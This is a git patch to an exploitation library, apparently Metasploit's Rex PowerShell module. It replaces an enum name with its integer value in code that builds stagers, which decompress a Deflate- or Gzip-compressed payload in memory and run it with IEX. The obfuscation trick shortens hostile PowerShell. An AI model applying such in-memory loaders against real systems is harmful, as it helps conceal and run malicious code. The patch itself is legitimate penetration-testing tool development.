From cec12edd99bf40dddd8d4d74ebfcab5d6e986c2e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 22 Apr 2014 14:40:32 +0100 Subject: [PATCH] Use enum integer values --- lib/rex/exploitation/powershell.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb index d4b432eda7..1d42a464bd 100644 --- a/lib/rex/exploitation/powershell.rb +++ b/lib/rex/exploitation/powershell.rb @@ -51,7 +51,8 @@ module Powershell psh_expression << "$(IEX $(New-Object IO.StreamReader(" psh_expression << "$(New-Object IO.Compression.DeflateStream(" psh_expression << "$s," - psh_expression << "[IO.Compression.CompressionMode]::Decompress))" + # [IO.Compression.CompressionMode]::Decompress = 0 + psh_expression << "0))" psh_expression << ")).ReadToEnd());" # If eof is set, add a marker to signify end of code output @@ -87,7 +88,8 @@ module Powershell psh_expression << "$(IEX $(New-Object IO.StreamReader(" psh_expression << "$(New-Object IO.Compression.GzipStream(" psh_expression << "$s," - psh_expression << "[IO.Compression.CompressionMode]::Decompress))" + # [IO.Compression.CompressionMode]::Decompress = 0 + psh_expression << "0))" psh_expression << ")).ReadToEnd());" # If eof is set, add a marker to signify end of code output